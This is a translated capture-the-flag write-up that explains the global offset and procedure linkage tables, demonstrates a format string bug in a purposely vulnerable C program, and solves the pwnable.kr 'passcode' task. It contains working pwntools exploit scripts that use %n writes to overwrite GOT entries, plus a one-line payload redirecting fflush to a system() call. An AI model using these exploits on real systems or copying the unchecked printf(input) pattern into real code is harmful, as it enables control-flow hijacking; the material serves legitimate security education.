Solving a job with pwnable.kr 05 - passcode. Rewrite procedure link table through format string vulnerability

    image

    In this article we will analyze: what is the global table of offsets, the table of relationships of procedures and its rewrite through the format string vulnerability. We will also solve the 5th task from the site pwnable.kr .

    Organizational Information
    Especially for those who want to learn something new and develop in any of the areas of information and computer security, I will write and talk about the following categories:

    • PWN;
    • cryptography (Crypto);
    • network technologies (Network);
    • reverse (Reverse Engineering);
    • steganography (Stegano);
    • search and exploitation of WEB vulnerabilities.

    In addition to this, I will share my experience in computer forensics, analysis of malware and firmware, attacks on wireless networks and local area networks, conducting pentests and writing exploits.

    So that you can find out about new articles, software and other information, I created a channel in Telegram and a group to discuss any issues in the field of ICD. Also, I will personally consider your personal requests, questions, suggestions and recommendations personally and will answer everyone .

    All information is provided for educational purposes only. The author of this document does not bear any responsibility for any damage caused to someone as a result of using knowledge and methods obtained as a result of studying this document.

    Global Offset Table and Procedure Relationship Table


    Dynamically linked libraries are loaded from a separate file into memory at boot time or at runtime. And, therefore, their addresses in memory are not fixed in order to avoid memory conflicts with other libraries. In addition, the ASLR security mechanism will randomize the address of each module at boot time.

    Global Offset Table (GOT) - A table of addresses stored in the data section. It is used at run time to search for addresses of global variables that were unknown at compile time. This table is in the data section and is not used by all processes. All absolute addresses referenced by the code section are stored in this GOT table. The code section uses relative offsets to access these absolute addresses. And thus, library code can be shared by processes, even if they are loaded into different memory address spaces.

    The Procedure Linkage Table (PLT) contains a jump code for calling common functions whose addresses are stored in the GOT, that is, the PLT contains addresses to which addresses are stored for data (addresses) from the GOT.

    Consider the mechanism using an example:

    1. In the program code, the external function printf is called.
    2. The control flow goes to the nth record in the PLT, and the transition occurs at a relative offset, rather than an absolute address.
    3. Goes to the address stored in the GOT. The function pointer stored in the GOT table first points back to the PLT code snippet.
    4. Thus, if printf is being called for the first time, the dynamic linker converter is called to obtain the actual address of the target function.
    5. The printf address is written to the GOT table, and then printf is called.
    6. If printf is called again in code, the resolver will no longer be called because the address of printf is already stored in GOT.

    image

    When using this delayed binding, pointers to functions that are not used at run time are not allowed. Thus, it saves a lot of time.

    In order for this mechanism to work, the following sections are present in the file:

    • .got - contains entries for GOT;
    • .рlt - contains entries for PLT;
    • .got.plt - contains the address relationships GOT - PLT;
    • .plt.got - contains the address relationships PLT - GOT.

    Since the .got.plt section is an array of pointers and is filled during program execution (that is, writing is allowed in it), we can overwrite one of them and control the flow of program execution.

    Format string


    A format string is a string using format specifiers. The format specifier is indicated by the symbol “%” (to enter the percent sign, use the sequence “%%”).

    pritntf(“output %s 123”, “str”);
    output str 123

    The most important format specifiers:

    • d - decimal signed number, default size, sizeof (int);
    • x and X are an unsigned hexadecimal number, x uses small letters (abcdef), X uppercase (ABCDEF), the default size is sizeof (int);
    • s - line output with zero terminating byte;
    • n is the number of characters written at the time the command sequence containing n appeared.

    Why format string vulnerability is possible


    This vulnerability consists in using one of the format output functions without specifying a format (as in the following example). Thus, we ourselves can specify the output format, which leads to the ability to read values ​​from the stack, and when specifying a special format, to write to memory.

    Consider the vulnerability in the following example:

    #include 
    #include 
    #include 
    #include 
    int main(){
       char input[100];
       printf("Start program!!!\n");
       printf("Input: ");
       scanf("%s", &input);
       printf("\nYour input: ");
       printf(input);
       printf("\n");
       exit(0);
    }

    Thus, the next line does not specify the output format.

    printf(input);

    Compile the program.

    gcc vuln1.c -o vuln -no-pie

    Let's look at the values ​​on the stack by entering a line containing format specifiers.

    image

    Thus, when calling printf (input), the following call is triggered:

    printf(“%p-%p-%p-%p-%p“);

    It remains to understand what the program displays. The printf function has several arguments, which are data for a format string.

    Consider an example of a function call with the following arguments:

    printf(“Number - %d, addres - %08x, string - %s”, a, &b, c);

    When this function is called, the stack will look as follows.

    image

    Thus, when a format specifier is detected, the function retrieves the value of the stack. Similarly, a function from our example will retrieve 5 values ​​from the stack.

    image

    To confirm the above, we find our format string in the stack.

    image

    When translating values ​​from a hex view, we get the string “% -p% AAAA“. That is, we were able to get the values ​​from the stack.

    GOT Overwrite


    Let's check the ability to rewrite GOT through format string vulnerability. To do this, let's loop our program by rewriting the address of the exit () function to the address of main. We will overwrite using pwntools. Create the initial layout and repeat the previous entry.

    from pwn import *
    from struct import *
    ex = process('./vuln')
    payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p"
    ex.sendline(payload)
    ex.interactive()

    image

    But since depending on the size of the entered string, the contents of the stack will be different, we will make sure that the input load always contains the same number of entered characters.

    payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”)

    image

    payload = ("%p-%p-%p-%p").ljust(64, ”*”)

    image

    Now we need to find out the GOT address of the exit () functions, and the address of the main function. The main address will be found using gdb.

    image

    The GOT address of exit () can be found using both gdb and objdump.

    image

    image

    objdump -R vuln

    image

    We will write these addresses in our program.

    main_addr = 0x401162
    exit_addr = 0x404038

    Now you need to rewrite the address. To add to the stack the address of the exit () function and the addresses that are after, i.e. * (exit ()) + 1, etc. You can add it using our load.

    payload = ("%p-%p-%p-%p-"*5).ljust(64, "*")
    payload += pack("Q", exit_addr)
    payload += pack("Q", exit_addr+1)

    Run and determine which account displays the address.

    image

    These addresses are displayed at positions 14 and 15. You can display the value at a specific position as follows.

    payload = ("%14$p").ljust(64, "*")

    image

    We will rewrite the address in two blocks. To begin, we’ll print 4 values ​​so that our addresses are on the 2nd and 4th positions.

    payload = ("%p%14$p%p%15$p").ljust(64, "*")

    image

    Now we break the address of main () into two blocks:
    0x401162

    1) 0x62 = 98 (write to 0x404038)
    2) 0x4011 - 0x62 = 16303 (write to 0x404039)


    We write them as follows:

    payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')

    Full code:

    from pwn import *
    from struct import *
    start_addr = 0x401162
    exit_addr = 0x404038
    ex = process('./vuln')
    payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')
    payload += pack("Q", exit_addr)
    payload += pack("Q", exit_addr+1)
    ex.sendline(payload)
    ex.interactive()

    image

    Thus, the program is restarted instead of terminating. We rewrote the exit () address.

    Passcode job solution


    We click on the first icon with the passcode signature, and we are told that we need to connect via SSH with the password guest.

    image

    When connected, we see the corresponding banner.

    image

    Let's find out what files are on the server, as well as what rights we have.

    ls -l

    image

    Thus, we can read the source code of the program, as there is a right to read for everyone, and execute the passcode program with the rights of the owner (the sticky bit is set). Let's see the outcome of the code.

    image

    There was an error in the login () function. In scanf (), the second argument is passed not the address of the variable & passcode1, but the variable itself, and not initialized. Since the variable has not yet been initialized, it contains the unwritten “garbage” that remained after the execution of the previous instructions. That is, scanf () will write the number to the address, which will be the residual data.

    image

    Thus, if before calling the login function, we can get control over this memory area, then we can write any number to any address (actually change the program logic).

    Since the login () function is called immediately after the welcome () function, they have the same stack frame addresses.

    image

    Let's check if we can write data to the future passcode1 location. Open the program in gdb and disassemble the login () and welcome () functions. Since scanf has two parameters in both cases, the address of the variable will be passed to the function first. Thus, the address of passcode1 is ebp-0x10, and name is ebp-0x70.

    image

    image

    Now, let's calculate the address passcode1 relative to name, provided that the ebp value is the same:
    (& name) - (& passcode1) = (ebp-0x70) - (ebp-0x10) = -96
    & passcode1 == & name + 96
    That is, the last 4 bytes of name - this is the “garbage” that will act as the address for writing to the login function.

    In the article, we saw how you can change the logic of the application by rewriting the addresses in the GOT. Let's do it here too. Since scanf () is followed by flush, then at the address of this function in GOT, we write the address of the instruction to call the system () function to read the flag.

    image

    image

    image

    That is, at the address 0x804a004 you need to write 0x80485e3 in decimal form.

    python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode

    image

    As a result, we get 10 points, so far this is the most difficult task.

    image

    Files for this article are attached to the Telegram channel . See you in the following articles!

    We are in a telegram channel: a channel in Telegram .

    Also popular now: